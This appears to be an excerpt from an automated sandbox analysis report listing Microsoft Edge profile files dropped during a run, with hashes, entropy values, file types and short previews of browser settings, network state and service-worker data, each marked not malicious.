C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2797301632703328
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9l:JkIEumQv8m1ccnvS6bMuYiiRi+51a
MD5:	727CD6BB879D666FE4742B7BBD03A503
SHA1:	EB52F5E3542AA4AB0763B7C0DAEF6DE9B3480966
SHA-256:	7FCACB06839204458F64D4448CFF6AACA48E423822B2090CCC92D3487B38571B
SHA-512:	97185FA0EDB9F4B95623F67C3377A80206FB4EDBFF0E39EE8DE7BED40BDD45F3EC1221EBB5331963DB07BBD8CBBE218601BA090CFA69BE09F502E47B163E0AC5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d95a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ee68.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\bf7290cd-1c5f-4508-81ed-01181841ed8e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.300887250087751
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdszpZVMdmRdsGZFRudFGRw6C1E6maPsRdsPZC52HM7QYhbA7n7:YcCpfgCzsTtsSfc7akEsxCgHMEYhbm
MD5:	4A09C95E81B2A9DAD846443593C84D6F
SHA1:	2455A5A187CC75E3916EAAF4371572984D96A44C
SHA-256:	34215116BF61441F97D850D858C5C3C9481F40D6AB670A8AB815F130C81EB7EE
SHA-512:	D679AE2D3E79463059C47DFB95951001C8C5CFC99F84FE447DAB60F0B0FA257D4D227FFE618EC187D96324D5530F104A50D4CCE671BE24F409302A5BE34D6D09
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379348626642030","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379348629744165","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d23d4950-7d11-44de-bdcd-d018efaebf58.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f978d96e-ad51-43cf-a0dd-e3b2c5edeea1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110049174677219
Encrypted:	false
SSDEEP:	192:styckdpAsyHaFvrE9khHjl8HbV+F5l1QA6UCPQYJ:stycQAsyHCDQbG1QU6
MD5:	E6E0CDE509DCB680A9A1D81055B133A0
SHA1:	DE24F4D398B575916191F0A614CE40276FEB32FA
SHA-256:	2A31C8F2264C8623B8E20E2880BEFE5811596028C9047D18436FA83EF48B267C
SHA-512:	9A1D2C26CF2FA00BD944AE2D8FCEDB22CD5DDE13CD03938CE7E5708B27E38DBFA91710CC9CEA6E3BC8D834ACD50F53269AF94513EE39645971EE6583D052E83E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF423e0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110049174677219
Encrypted:	false
SSDEEP:	192:styckdpAsyHaFvrE9khHjl8HbV+F5l1QA6UCPQYJ:stycQAsyHCDQbG1QU6
MD5:	E6E0CDE509DCB680A9A1D81055B133A0
SHA1:	DE24F4D398B575916191F0A614CE40276FEB32FA
SHA-256:	2A31C8F2264C8623B8E20E2880BEFE5811596028C9047D18436FA83EF48B267C
SHA-512:	9A1D2C26CF2FA00BD944AE2D8FCEDB22CD5DDE13CD03938CE7E5708B27E38DBFA91710CC9CEA6E3BC8D834ACD50F53269AF94513EE39645971EE6583D052E83E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44c67.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110049174677219
Encrypted:	false
SSDEEP:	192:styckdpAsyHaFvrE9khHjl8HbV+F5l1QA6UCPQYJ:stycQAsyHCDQbG1QU6
MD5:	E6E0CDE509DCB680A9A1D81055B133A0
SHA1:	DE24F4D398B575916191F0A614CE40276FEB32FA
SHA-256:	2A31C8F2264C8623B8E20E2880BEFE5811596028C9047D18436FA83EF48B267C
SHA-512:	9A1D2C26CF2FA00BD944AE2D8FCEDB22CD5DDE13CD03938CE7E5708B27E38DBFA91710CC9CEA6E3BC8D834ACD50F53269AF94513EE39645971EE6583D052E83E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF47f2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110049174677219
Encrypted:	false
SSDEEP:	192:styckdpAsyHaFvrE9khHjl8HbV+F5l1QA6UCPQYJ:stycQAsyHCDQbG1QU6
MD5:	E6E0CDE509DCB680A9A1D81055B133A0
SHA1:	DE24F4D398B575916191F0A614CE40276FEB32FA
SHA-256:	2A31C8F2264C8623B8E20E2880BEFE5811596028C9047D18436FA83EF48B267C
SHA-512:	9A1D2C26CF2FA00BD944AE2D8FCEDB22CD5DDE13CD03938CE7E5708B27E38DBFA91710CC9CEA6E3BC8D834ACD50F53269AF94513EE39645971EE6583D052E83E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4d8a9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110049174677219
Encrypted:	false
SSDEEP:	192:styckdpAsyHaFvrE9khHjl8HbV+F5l1QA6UCPQYJ:stycQAsyHCDQbG1QU6
MD5:	E6E0CDE509DCB680A9A1D81055B133A0
SHA1:	DE24F4D398B575916191F0A614CE40276FEB32FA
SHA-256:	2A31C8F2264C8623B8E20E2880BEFE5811596028C9047D18436FA83EF48B267C
SHA-512:	9A1D2C26CF2FA00BD944AE2D8FCEDB22CD5DDE13CD03938CE7E5708B27E38DBFA91710CC9CEA6E3BC8D834ACD50F53269AF94513EE39645971EE6583D052E83E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56705557919165
Encrypted:	false
SSDEEP:	768:JFhNkPW0UW5wvDf4EH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPx9IJWJbrwXkbXApG:JvuPxUWavDflHu1jaI+SwUbXttP
MD5:	D1E76802A1AE4D281E4D8D19C5B1D8AD
SHA1:	D2C440954597B713848C0C7138CA37C288590B48
SHA-256:	076CA5A391821D9D102174F729567E93C2C02808EFA381E9E117B7BC879E31D9
SHA-512:	32340E4409E2E7573F1E1AF5A296469A67CD3BA994882E260CCAEDCE5DD5D3A71871A19334F6C36694F60F3BE0CC26CC3B521E1C62EA06087C59FF2B2560CC97
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376756622127602","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376756622127602","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF41569.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56705557919165
Encrypted:	false
SSDEEP:	768:JFhNkPW0UW5wvDf4EH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPx9IJWJbrwXkbXApG:JvuPxUWavDflHu1jaI+SwUbXttP
MD5:	D1E76802A1AE4D281E4D8D19C5B1D8AD
SHA1:	D2C440954597B713848C0C7138CA37C288590B48
SHA-256:	076CA5A391821D9D102174F729567E93C2C02808EFA381E9E117B7BC879E31D9
SHA-512:	32340E4409E2E7573F1E1AF5A296469A67CD3BA994882E260CCAEDCE5DD5D3A71871A19334F6C36694F60F3BE0CC26CC3B521E1C62EA06087C59FF2B2560CC97
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376756622127602","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376756622127602","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF46221.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56705557919165
Encrypted:	false
SSDEEP:	768:JFhNkPW0UW5wvDf4EH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPx9IJWJbrwXkbXApG:JvuPxUWavDflHu1jaI+SwUbXttP
MD5:	D1E76802A1AE4D281E4D8D19C5B1D8AD
SHA1:	D2C440954597B713848C0C7138CA37C288590B48
SHA-256:	076CA5A391821D9D102174F729567E93C2C02808EFA381E9E117B7BC879E31D9
SHA-512:	32340E4409E2E7573F1E1AF5A296469A67CD3BA994882E260CCAEDCE5DD5D3A71871A19334F6C36694F60F3BE0CC26CC3B521E1C62EA06087C59FF2B2560CC97
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376756622127602","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376756622127602","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.7400908617769035
Encrypted:	false
SSDEEP:	3:chltUQ2Hm4kxH4xRNwBgzNnNurkX/8Ct//lFl46JKcZt/FlSFdVVl03nUBcisdty:chXUQI2xH8BzNme/8HILSFd4ddAa1M/
MD5:	0232AE7084C463F1F077141AE2F8E4EA
SHA1:	4B45C6DE4CE2895BD60C2EFB636D95EA6C9EF7F5
SHA-256:	684BB89AC899552393B84CA6F1831E6B2939189427D6585B24BA195F9C89E386
SHA-512:	B2DFA94D7B0EB98F28E8DCC4909CCD4E87424470941DB136E3E36A975AAECCFD92AB8F9109544065FBE66DF8AEC0BC24554A0BA39BBEA9D20A17D95242FDE478
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..?..................URES:0..PRES:0.t.g.;................REG:https://ntp.msn.com/.0..REGID_TO_ORIGIN:0..b8...............J4...................PRES:0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.094021179073168
Encrypted:	false
SSDEEP:	6:HgPnseq1N723oH+TcwtE/a252KLlVgPE0+q2PN723oH+TcwtE/a2ZIFUv:APnEaYeb8xL4PGvVaYeb8J2FUv
MD5:	FA9E311A71450F98A445A7873A7C3060
SHA1:	4B557C1854108B0EDF4A331EF60C289C1F545175
SHA-256:	F0BD09424EC8AAC530E567793097DFC9BC9DC9D6B3BF790E1F63DEA050436E4F
SHA-512:	2D0AAC6544247492B95BD368B926307D33F0026D0C664C2D6459E27DBD7FB8ABB30DCF034DB36D8244EAB64543FC95F915A0A5A63EFC307A1D539863A1FB8F38
Malicious:	false
Preview:	2024/11/22-08:44:04.176 1e18 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/22-08:44:04.186 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	89793
Entropy (8bit):	5.597057860737252
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKi8GPX92:d9LyxPXfOxr1lMe1nL/CL/TXEmdXY
MD5:	6AEC42C604D14014BE2C150E1A869795
SHA1:	6E893D2C51A67F27483E81E4554CA7FFEA84EE34
SHA-256:	BDC2720154661C6124A0B5BC9A0D3DA0DDBF274766BA606230792C68C28771BA
SHA-512:	64E08A907410168F74CEBBF159410D673D4D5DA872A3C31ABB0D9031CAA7881BD79AD8B93D882E89A77ACF578B00D593BA54CBCFBEE98DCC9C3BFD0FAC80CF8A
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
